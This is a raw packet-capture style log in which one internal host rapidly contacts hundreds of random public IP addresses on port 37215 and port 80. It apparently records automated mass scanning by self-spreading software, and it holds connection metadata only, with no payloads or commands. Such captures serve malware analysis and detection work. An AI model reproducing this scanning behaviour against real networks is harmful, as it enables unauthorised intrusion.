Jan 5, 2025 14:34:58.037703991 CET	29479	37215	192.168.2.13	41.196.240.229
Jan 5, 2025 14:34:58.037714958 CET	29479	37215	192.168.2.13	41.214.76.114
Jan 5, 2025 14:34:58.037715912 CET	29479	37215	192.168.2.13	156.82.48.18
Jan 5, 2025 14:34:58.037718058 CET	29479	37215	192.168.2.13	156.150.253.188
Jan 5, 2025 14:34:58.037719965 CET	29479	37215	192.168.2.13	156.82.186.159
Jan 5, 2025 14:34:58.037722111 CET	29479	37215	192.168.2.13	156.145.176.96
Jan 5, 2025 14:34:58.037722111 CET	29479	37215	192.168.2.13	41.218.158.252
Jan 5, 2025 14:34:58.037724018 CET	29479	37215	192.168.2.13	197.93.45.129
Jan 5, 2025 14:34:58.037730932 CET	29479	37215	192.168.2.13	41.9.134.158
Jan 5, 2025 14:34:58.037745953 CET	29479	37215	192.168.2.13	41.52.250.108
Jan 5, 2025 14:34:58.037745953 CET	29479	37215	192.168.2.13	197.91.188.213
Jan 5, 2025 14:34:58.037748098 CET	29479	37215	192.168.2.13	156.94.92.246
Jan 5, 2025 14:34:58.037748098 CET	29479	37215	192.168.2.13	156.226.57.78
Jan 5, 2025 14:34:58.037753105 CET	29479	37215	192.168.2.13	41.83.221.85
Jan 5, 2025 14:34:58.037753105 CET	29479	37215	192.168.2.13	197.156.232.218
Jan 5, 2025 14:34:58.037755013 CET	29479	37215	192.168.2.13	197.42.214.236
Jan 5, 2025 14:34:58.037755013 CET	29479	37215	192.168.2.13	156.111.185.231
Jan 5, 2025 14:34:58.037759066 CET	29479	37215	192.168.2.13	197.137.99.139
Jan 5, 2025 14:34:58.037756920 CET	29479	37215	192.168.2.13	156.121.62.164
Jan 5, 2025 14:34:58.037765026 CET	29479	37215	192.168.2.13	197.43.43.237
Jan 5, 2025 14:34:58.037769079 CET	29479	37215	192.168.2.13	197.146.234.135
Jan 5, 2025 14:34:58.037771940 CET	29479	37215	192.168.2.13	41.21.29.158
Jan 5, 2025 14:34:58.037771940 CET	29479	37215	192.168.2.13	197.35.100.13
Jan 5, 2025 14:34:58.037774086 CET	29479	37215	192.168.2.13	197.204.134.130
Jan 5, 2025 14:34:58.037774086 CET	29479	37215	192.168.2.13	156.214.4.135
Jan 5, 2025 14:34:58.037781954 CET	29479	37215	192.168.2.13	197.53.85.91
Jan 5, 2025 14:34:58.037794113 CET	29479	37215	192.168.2.13	197.233.22.180
Jan 5, 2025 14:34:58.037795067 CET	29479	37215	192.168.2.13	41.146.72.12
Jan 5, 2025 14:34:58.037806988 CET	29479	37215	192.168.2.13	41.76.69.142
Jan 5, 2025 14:34:58.037807941 CET	29479	37215	192.168.2.13	197.180.94.40
Jan 5, 2025 14:34:58.037807941 CET	29479	37215	192.168.2.13	197.76.116.71
Jan 5, 2025 14:34:58.037807941 CET	29479	37215	192.168.2.13	156.104.78.41
Jan 5, 2025 14:34:58.037808895 CET	29479	37215	192.168.2.13	156.144.149.117
Jan 5, 2025 14:34:58.037810087 CET	29479	37215	192.168.2.13	156.119.251.142
Jan 5, 2025 14:34:58.037812948 CET	29479	37215	192.168.2.13	41.38.174.98
Jan 5, 2025 14:34:58.037812948 CET	29479	37215	192.168.2.13	197.199.218.190
Jan 5, 2025 14:34:58.037812948 CET	29479	37215	192.168.2.13	197.91.115.225
Jan 5, 2025 14:34:58.037816048 CET	29479	37215	192.168.2.13	41.138.85.160
Jan 5, 2025 14:34:58.037822008 CET	29479	37215	192.168.2.13	156.152.187.82
Jan 5, 2025 14:34:58.037822962 CET	29479	37215	192.168.2.13	41.250.249.104
Jan 5, 2025 14:34:58.037822008 CET	29479	37215	192.168.2.13	197.199.151.225
Jan 5, 2025 14:34:58.037822962 CET	29479	37215	192.168.2.13	197.30.111.230
Jan 5, 2025 14:34:58.037822008 CET	29479	37215	192.168.2.13	41.41.228.231
Jan 5, 2025 14:34:58.037825108 CET	29479	37215	192.168.2.13	41.28.251.242
Jan 5, 2025 14:34:58.037827969 CET	29479	37215	192.168.2.13	197.46.82.216
Jan 5, 2025 14:34:58.037837029 CET	29479	37215	192.168.2.13	197.58.22.173
Jan 5, 2025 14:34:58.037837029 CET	29479	37215	192.168.2.13	156.43.95.252
Jan 5, 2025 14:34:58.037838936 CET	29479	37215	192.168.2.13	156.187.58.88
Jan 5, 2025 14:34:58.037838936 CET	29479	37215	192.168.2.13	156.21.211.174
Jan 5, 2025 14:34:58.037839890 CET	29479	37215	192.168.2.13	41.107.171.28
Jan 5, 2025 14:34:58.037839890 CET	29479	37215	192.168.2.13	41.6.243.67
Jan 5, 2025 14:34:58.037846088 CET	29479	37215	192.168.2.13	197.75.3.91
Jan 5, 2025 14:34:58.037846088 CET	29479	37215	192.168.2.13	156.76.199.184
Jan 5, 2025 14:34:58.037847996 CET	29479	37215	192.168.2.13	156.166.155.56
Jan 5, 2025 14:34:58.037847996 CET	29479	37215	192.168.2.13	156.31.85.255
Jan 5, 2025 14:34:58.037847996 CET	29479	37215	192.168.2.13	41.232.33.49
Jan 5, 2025 14:34:58.037853003 CET	29479	37215	192.168.2.13	156.77.25.46
Jan 5, 2025 14:34:58.037854910 CET	29479	37215	192.168.2.13	197.68.215.132
Jan 5, 2025 14:34:58.037854910 CET	29479	37215	192.168.2.13	41.51.15.64
Jan 5, 2025 14:34:58.037858963 CET	29479	37215	192.168.2.13	41.99.224.15
Jan 5, 2025 14:34:58.037861109 CET	29479	37215	192.168.2.13	197.145.239.81
Jan 5, 2025 14:34:58.037863016 CET	29479	37215	192.168.2.13	197.13.156.9
Jan 5, 2025 14:34:58.037863970 CET	29479	37215	192.168.2.13	197.151.167.64
Jan 5, 2025 14:34:58.037863970 CET	29479	37215	192.168.2.13	197.120.61.163
Jan 5, 2025 14:34:58.037870884 CET	29479	37215	192.168.2.13	41.62.25.98
Jan 5, 2025 14:34:58.037869930 CET	29479	37215	192.168.2.13	156.79.235.142
Jan 5, 2025 14:34:58.037869930 CET	29479	37215	192.168.2.13	197.139.170.150
Jan 5, 2025 14:34:58.037878990 CET	29479	37215	192.168.2.13	41.147.82.38
Jan 5, 2025 14:34:58.037885904 CET	29479	37215	192.168.2.13	197.1.61.247
Jan 5, 2025 14:34:58.037885904 CET	29479	37215	192.168.2.13	156.24.150.232
Jan 5, 2025 14:34:58.037885904 CET	29479	37215	192.168.2.13	41.206.170.21
Jan 5, 2025 14:34:58.037890911 CET	29479	37215	192.168.2.13	41.109.14.190
Jan 5, 2025 14:34:58.037893057 CET	29479	37215	192.168.2.13	197.83.159.220
Jan 5, 2025 14:34:58.037902117 CET	29479	37215	192.168.2.13	197.205.166.221
Jan 5, 2025 14:34:58.037902117 CET	29479	37215	192.168.2.13	197.46.38.253
Jan 5, 2025 14:34:58.037902117 CET	29479	37215	192.168.2.13	41.120.228.209
Jan 5, 2025 14:34:58.037908077 CET	29479	37215	192.168.2.13	156.131.82.99
Jan 5, 2025 14:34:58.037908077 CET	29479	37215	192.168.2.13	156.82.210.253
Jan 5, 2025 14:34:58.037908077 CET	29479	37215	192.168.2.13	41.182.4.242
Jan 5, 2025 14:34:58.037908077 CET	29479	37215	192.168.2.13	41.67.187.58
Jan 5, 2025 14:34:58.037908077 CET	29479	37215	192.168.2.13	156.241.81.204
Jan 5, 2025 14:34:58.037920952 CET	29479	37215	192.168.2.13	197.7.49.138
Jan 5, 2025 14:34:58.037923098 CET	29479	37215	192.168.2.13	197.238.71.216
Jan 5, 2025 14:34:58.037925959 CET	29479	37215	192.168.2.13	156.205.45.42
Jan 5, 2025 14:34:58.037935972 CET	29479	37215	192.168.2.13	156.114.1.54
Jan 5, 2025 14:34:58.037938118 CET	29479	37215	192.168.2.13	197.179.122.121
Jan 5, 2025 14:34:58.037938118 CET	29479	37215	192.168.2.13	197.77.253.63
Jan 5, 2025 14:34:58.037940025 CET	29479	37215	192.168.2.13	41.110.91.183
Jan 5, 2025 14:34:58.037940025 CET	29479	37215	192.168.2.13	41.201.8.43
Jan 5, 2025 14:34:58.037940025 CET	29479	37215	192.168.2.13	41.117.18.101
Jan 5, 2025 14:34:58.037946939 CET	29479	37215	192.168.2.13	156.30.213.15
Jan 5, 2025 14:34:58.037950039 CET	29479	37215	192.168.2.13	156.93.240.7
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	197.37.226.110
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	197.172.127.75
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	156.109.144.101
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	41.137.67.186
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	156.168.6.40
Jan 5, 2025 14:34:58.037957907 CET	29479	37215	192.168.2.13	156.190.90.227
Jan 5, 2025 14:34:58.037966013 CET	29479	37215	192.168.2.13	156.219.54.71
Jan 5, 2025 14:34:58.037966967 CET	29479	37215	192.168.2.13	197.103.133.87
Jan 5, 2025 14:34:58.037966967 CET	29479	37215	192.168.2.13	197.42.165.203
Jan 5, 2025 14:34:58.037966967 CET	29479	37215	192.168.2.13	41.165.113.174
Jan 5, 2025 14:34:58.037966967 CET	29479	37215	192.168.2.13	41.169.191.53
Jan 5, 2025 14:34:58.037966967 CET	29479	37215	192.168.2.13	41.40.1.63
Jan 5, 2025 14:34:58.037982941 CET	29479	37215	192.168.2.13	197.169.57.101
Jan 5, 2025 14:34:58.037982941 CET	29479	37215	192.168.2.13	197.28.14.166
Jan 5, 2025 14:34:58.037982941 CET	29479	37215	192.168.2.13	156.168.111.225
Jan 5, 2025 14:34:58.037982941 CET	29479	37215	192.168.2.13	156.91.50.73
Jan 5, 2025 14:34:58.037985086 CET	29479	37215	192.168.2.13	156.250.246.245
Jan 5, 2025 14:34:58.037985086 CET	29479	37215	192.168.2.13	156.59.226.74
Jan 5, 2025 14:34:58.037985086 CET	29479	37215	192.168.2.13	197.63.9.248
Jan 5, 2025 14:34:58.037985086 CET	29479	37215	192.168.2.13	41.139.187.126
Jan 5, 2025 14:34:58.037985086 CET	29479	37215	192.168.2.13	156.162.156.174
Jan 5, 2025 14:34:58.037996054 CET	29479	37215	192.168.2.13	197.18.192.3
Jan 5, 2025 14:34:58.037998915 CET	29479	37215	192.168.2.13	156.72.146.232
Jan 5, 2025 14:34:58.038000107 CET	29479	37215	192.168.2.13	41.221.184.72
Jan 5, 2025 14:34:58.038000107 CET	29479	37215	192.168.2.13	197.156.64.94
Jan 5, 2025 14:34:58.038002968 CET	29479	37215	192.168.2.13	197.17.137.156
Jan 5, 2025 14:34:58.038002968 CET	29479	37215	192.168.2.13	156.12.241.236
Jan 5, 2025 14:34:58.038002968 CET	29479	37215	192.168.2.13	197.98.68.129
Jan 5, 2025 14:34:58.038007975 CET	29479	37215	192.168.2.13	197.247.32.171
Jan 5, 2025 14:34:58.038011074 CET	29479	37215	192.168.2.13	197.144.68.180
Jan 5, 2025 14:34:58.038014889 CET	29479	37215	192.168.2.13	156.135.64.144
Jan 5, 2025 14:34:58.038014889 CET	29479	37215	192.168.2.13	197.25.105.89
Jan 5, 2025 14:34:58.038016081 CET	29479	37215	192.168.2.13	41.225.18.191
Jan 5, 2025 14:34:58.038016081 CET	29479	37215	192.168.2.13	156.132.111.105
Jan 5, 2025 14:34:58.038024902 CET	29479	37215	192.168.2.13	197.195.204.185
Jan 5, 2025 14:34:58.038024902 CET	29479	37215	192.168.2.13	197.32.78.8
Jan 5, 2025 14:34:58.038026094 CET	29479	37215	192.168.2.13	156.188.175.125
Jan 5, 2025 14:34:58.038028002 CET	29479	37215	192.168.2.13	156.3.186.68
Jan 5, 2025 14:34:58.038028002 CET	29479	37215	192.168.2.13	41.163.83.143
Jan 5, 2025 14:34:58.038034916 CET	29479	37215	192.168.2.13	197.184.14.226
Jan 5, 2025 14:34:58.038038015 CET	29479	37215	192.168.2.13	41.252.33.199
Jan 5, 2025 14:34:58.038039923 CET	29479	37215	192.168.2.13	197.41.198.170
Jan 5, 2025 14:34:58.038041115 CET	29479	37215	192.168.2.13	197.114.76.84
Jan 5, 2025 14:34:58.038042068 CET	29479	37215	192.168.2.13	41.204.109.72
Jan 5, 2025 14:34:58.038042068 CET	29479	37215	192.168.2.13	197.59.21.46
Jan 5, 2025 14:34:58.038043022 CET	29479	37215	192.168.2.13	156.148.249.76
Jan 5, 2025 14:34:58.038043022 CET	29479	37215	192.168.2.13	41.80.170.100
Jan 5, 2025 14:34:58.038044930 CET	29479	37215	192.168.2.13	41.222.105.132
Jan 5, 2025 14:34:58.038050890 CET	29479	37215	192.168.2.13	197.219.153.47
Jan 5, 2025 14:34:58.038486004 CET	37328	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:58.038486004 CET	37328	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:58.040855885 CET	80	46554	130.175.77.211	192.168.2.13
Jan 5, 2025 14:34:58.040931940 CET	46554	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:58.042231083 CET	37424	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:58.043109894 CET	60980	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:58.043235064 CET	37215	37328	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:58.049806118 CET	35768	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.054646015 CET	80	35768	203.215.253.118	192.168.2.13
Jan 5, 2025 14:34:58.054696083 CET	35768	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.054955006 CET	53112	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:58.061515093 CET	51962	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.064146996 CET	35842	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:58.064155102 CET	46468	37215	192.168.2.13	156.148.195.46
Jan 5, 2025 14:34:58.064155102 CET	40496	37215	192.168.2.13	197.62.144.198
Jan 5, 2025 14:34:58.064158916 CET	60232	37215	192.168.2.13	197.235.84.193
Jan 5, 2025 14:34:58.064161062 CET	46224	37215	192.168.2.13	41.99.15.83
Jan 5, 2025 14:34:58.064178944 CET	44688	37215	192.168.2.13	197.48.124.158
Jan 5, 2025 14:34:58.064178944 CET	55270	37215	192.168.2.13	156.134.235.140
Jan 5, 2025 14:34:58.064179897 CET	47084	37215	192.168.2.13	156.9.210.78
Jan 5, 2025 14:34:58.064178944 CET	58424	37215	192.168.2.13	41.198.56.163
Jan 5, 2025 14:34:58.064179897 CET	56802	37215	192.168.2.13	197.207.91.55
Jan 5, 2025 14:34:58.064182043 CET	43592	37215	192.168.2.13	156.156.80.80
Jan 5, 2025 14:34:58.064183950 CET	38826	37215	192.168.2.13	156.83.147.79
Jan 5, 2025 14:34:58.064178944 CET	35598	37215	192.168.2.13	156.28.229.241
Jan 5, 2025 14:34:58.064189911 CET	50634	37215	192.168.2.13	41.6.205.19
Jan 5, 2025 14:34:58.064193010 CET	38172	37215	192.168.2.13	197.248.33.225
Jan 5, 2025 14:34:58.064193964 CET	58762	37215	192.168.2.13	156.89.199.243
Jan 5, 2025 14:34:58.064213037 CET	60726	37215	192.168.2.13	156.250.252.39
Jan 5, 2025 14:34:58.064213991 CET	57570	37215	192.168.2.13	197.58.3.169
Jan 5, 2025 14:34:58.064220905 CET	39506	37215	192.168.2.13	156.181.100.88
Jan 5, 2025 14:34:58.066286087 CET	80	51962	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:58.066339970 CET	51962	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.066998959 CET	47534	80	192.168.2.13	4.72.184.235
Jan 5, 2025 14:34:58.068958998 CET	37215	35842	156.174.170.104	192.168.2.13
Jan 5, 2025 14:34:58.069008112 CET	35842	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:58.069143057 CET	35842	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:58.069143057 CET	35842	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:58.072335958 CET	35908	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:58.073754072 CET	40186	80	192.168.2.13	162.220.2.172
Jan 5, 2025 14:34:58.073900938 CET	37215	35842	156.174.170.104	192.168.2.13
Jan 5, 2025 14:34:58.079447031 CET	40822	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.083554029 CET	37215	37328	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:58.084343910 CET	80	40822	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.084577084 CET	40822	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.091769934 CET	58930	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.096147060 CET	48336	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.096153021 CET	51412	37215	192.168.2.13	197.243.204.4
Jan 5, 2025 14:34:58.096163988 CET	58364	37215	192.168.2.13	41.254.227.229
Jan 5, 2025 14:34:58.096163988 CET	58854	37215	192.168.2.13	41.37.149.109
Jan 5, 2025 14:34:58.096170902 CET	33936	37215	192.168.2.13	156.189.69.239
Jan 5, 2025 14:34:58.096169949 CET	33920	37215	192.168.2.13	156.81.175.247
Jan 5, 2025 14:34:58.096170902 CET	33716	37215	192.168.2.13	41.225.46.131
Jan 5, 2025 14:34:58.096175909 CET	48736	37215	192.168.2.13	197.235.112.122
Jan 5, 2025 14:34:58.096175909 CET	57584	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:34:58.096180916 CET	52492	37215	192.168.2.13	197.253.42.3
Jan 5, 2025 14:34:58.096180916 CET	57466	37215	192.168.2.13	41.246.117.207
Jan 5, 2025 14:34:58.096180916 CET	54254	37215	192.168.2.13	41.143.47.54
Jan 5, 2025 14:34:58.096625090 CET	80	58930	36.182.43.185	192.168.2.13
Jan 5, 2025 14:34:58.096756935 CET	58930	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.100935936 CET	37215	48336	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:58.100980043 CET	48336	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.101130009 CET	48336	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.101130009 CET	48336	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.102221012 CET	52890	80	192.168.2.13	134.175.115.219
Jan 5, 2025 14:34:58.105030060 CET	48384	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.105923891 CET	37215	48336	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:58.109618902 CET	58312	80	192.168.2.13	157.6.177.246
Jan 5, 2025 14:34:58.109855890 CET	37215	48384	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:58.109955072 CET	48384	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.109956026 CET	48384	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.114928007 CET	37215	48384	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:58.114965916 CET	48384	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:58.114984989 CET	33494	80	192.168.2.13	88.190.147.173
Jan 5, 2025 14:34:58.115472078 CET	37215	35842	156.174.170.104	192.168.2.13
Jan 5, 2025 14:34:58.121644020 CET	33922	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.126468897 CET	80	33922	151.142.20.255	192.168.2.13
Jan 5, 2025 14:34:58.126528978 CET	33922	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.126739025 CET	37598	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.128146887 CET	45366	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:34:58.128156900 CET	53294	37215	192.168.2.13	41.225.42.247
Jan 5, 2025 14:34:58.128189087 CET	57678	37215	192.168.2.13	156.213.81.209
Jan 5, 2025 14:34:58.128247023 CET	42768	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:34:58.131480932 CET	80	37598	126.164.100.191	192.168.2.13
Jan 5, 2025 14:34:58.132910967 CET	37598	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.137072086 CET	43380	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.141833067 CET	80	43380	120.217.143.184	192.168.2.13
Jan 5, 2025 14:34:58.141887903 CET	43380	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.142491102 CET	51016	80	192.168.2.13	79.116.248.55
Jan 5, 2025 14:34:58.149602890 CET	40224	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.151530981 CET	37215	48336	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:58.154413939 CET	80	40224	139.140.9.190	192.168.2.13
Jan 5, 2025 14:34:58.154457092 CET	40224	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.155065060 CET	55290	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:58.160144091 CET	47514	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:58.160147905 CET	59300	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:34:58.162065029 CET	47202	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:58.164944887 CET	37215	47514	197.113.242.34	192.168.2.13
Jan 5, 2025 14:34:58.164994955 CET	47514	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:58.165024042 CET	47514	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:58.167669058 CET	53556	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.169989109 CET	37215	47514	197.113.242.34	192.168.2.13
Jan 5, 2025 14:34:58.170037985 CET	47514	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:58.172497034 CET	80	53556	38.199.147.182	192.168.2.13
Jan 5, 2025 14:34:58.172583103 CET	53556	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.174563885 CET	49134	80	192.168.2.13	205.239.229.243
Jan 5, 2025 14:34:58.180227041 CET	41458	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.185096025 CET	80	41458	163.142.15.188	192.168.2.13
Jan 5, 2025 14:34:58.185142994 CET	41458	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.186781883 CET	35974	80	192.168.2.13	219.70.242.147
Jan 5, 2025 14:34:58.191565990 CET	80	35974	219.70.242.147	192.168.2.13
Jan 5, 2025 14:34:58.191607952 CET	35974	80	192.168.2.13	219.70.242.147
Jan 5, 2025 14:34:58.192296982 CET	40502	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:58.199068069 CET	54770	80	192.168.2.13	181.50.53.2
Jan 5, 2025 14:34:58.203900099 CET	80	54770	181.50.53.2	192.168.2.13
Jan 5, 2025 14:34:58.203948021 CET	54770	80	192.168.2.13	181.50.53.2
Jan 5, 2025 14:34:58.204360962 CET	40168	80	192.168.2.13	204.141.229.132
Jan 5, 2025 14:34:58.209172964 CET	80	40168	204.141.229.132	192.168.2.13
Jan 5, 2025 14:34:58.209217072 CET	40168	80	192.168.2.13	204.141.229.132
Jan 5, 2025 14:34:58.212759018 CET	48472	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:58.218051910 CET	60350	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:58.222877026 CET	80	60350	187.77.75.60	192.168.2.13
Jan 5, 2025 14:34:58.222919941 CET	60350	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:58.224659920 CET	38388	80	192.168.2.13	198.249.217.20
Jan 5, 2025 14:34:58.229439974 CET	80	38388	198.249.217.20	192.168.2.13
Jan 5, 2025 14:34:58.229520082 CET	38388	80	192.168.2.13	198.249.217.20
Jan 5, 2025 14:34:58.229747057 CET	49742	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:58.236560106 CET	57326	80	192.168.2.13	112.186.58.119
Jan 5, 2025 14:34:58.240346909 CET	46554	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:58.240346909 CET	46554	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:58.241377115 CET	80	57326	112.186.58.119	192.168.2.13
Jan 5, 2025 14:34:58.241416931 CET	57326	80	192.168.2.13	112.186.58.119
Jan 5, 2025 14:34:58.242168903 CET	46622	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:58.242544889 CET	59666	52440	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:58.242652893 CET	52440	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:58.245229959 CET	80	46554	130.175.77.211	192.168.2.13
Jan 5, 2025 14:34:58.245928049 CET	35768	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.245929003 CET	35768	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.247428894 CET	59666	52440	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:58.249461889 CET	35832	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.250775099 CET	80	35768	203.215.253.118	192.168.2.13
Jan 5, 2025 14:34:58.252979040 CET	51962	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.252979040 CET	51962	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.254288912 CET	80	35832	203.215.253.118	192.168.2.13
Jan 5, 2025 14:34:58.254329920 CET	35832	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.254714966 CET	52024	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.257822037 CET	80	51962	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:58.258600950 CET	40822	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.258600950 CET	40822	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.263468981 CET	80	40822	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.264909029 CET	40878	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.269402027 CET	58930	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.269402027 CET	58930	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.269705057 CET	80	40878	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.269742966 CET	40878	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.271131039 CET	58986	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.274252892 CET	80	58930	36.182.43.185	192.168.2.13
Jan 5, 2025 14:34:58.274490118 CET	33922	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.274490118 CET	33922	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.275924921 CET	80	58986	36.182.43.185	192.168.2.13
Jan 5, 2025 14:34:58.275969982 CET	58986	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.277896881 CET	33970	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.279293060 CET	80	33922	151.142.20.255	192.168.2.13
Jan 5, 2025 14:34:58.281452894 CET	37598	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.281452894 CET	37598	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.282677889 CET	80	33970	151.142.20.255	192.168.2.13
Jan 5, 2025 14:34:58.282717943 CET	33970	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.283355951 CET	37646	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.286303997 CET	80	37598	126.164.100.191	192.168.2.13
Jan 5, 2025 14:34:58.287292957 CET	43380	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.287292957 CET	43380	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.287472963 CET	80	46554	130.175.77.211	192.168.2.13
Jan 5, 2025 14:34:58.288228035 CET	80	37646	126.164.100.191	192.168.2.13
Jan 5, 2025 14:34:58.288269997 CET	37646	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.290709972 CET	43428	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.291507006 CET	80	35768	203.215.253.118	192.168.2.13
Jan 5, 2025 14:34:58.292123079 CET	80	43380	120.217.143.184	192.168.2.13
Jan 5, 2025 14:34:58.294503927 CET	40224	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.294503927 CET	40224	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.296586037 CET	40270	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.299338102 CET	80	40224	139.140.9.190	192.168.2.13
Jan 5, 2025 14:34:58.299488068 CET	80	51962	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:58.300076008 CET	53556	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.300076008 CET	53556	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.301419973 CET	80	40270	139.140.9.190	192.168.2.13
Jan 5, 2025 14:34:58.301680088 CET	40270	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.304341078 CET	53598	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.304913044 CET	80	53556	38.199.147.182	192.168.2.13
Jan 5, 2025 14:34:58.307534933 CET	80	40822	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.307677984 CET	41458	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.307677984 CET	41458	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.309161901 CET	80	53598	38.199.147.182	192.168.2.13
Jan 5, 2025 14:34:58.309210062 CET	53598	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.309571981 CET	41498	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.312482119 CET	80	41458	163.142.15.188	192.168.2.13
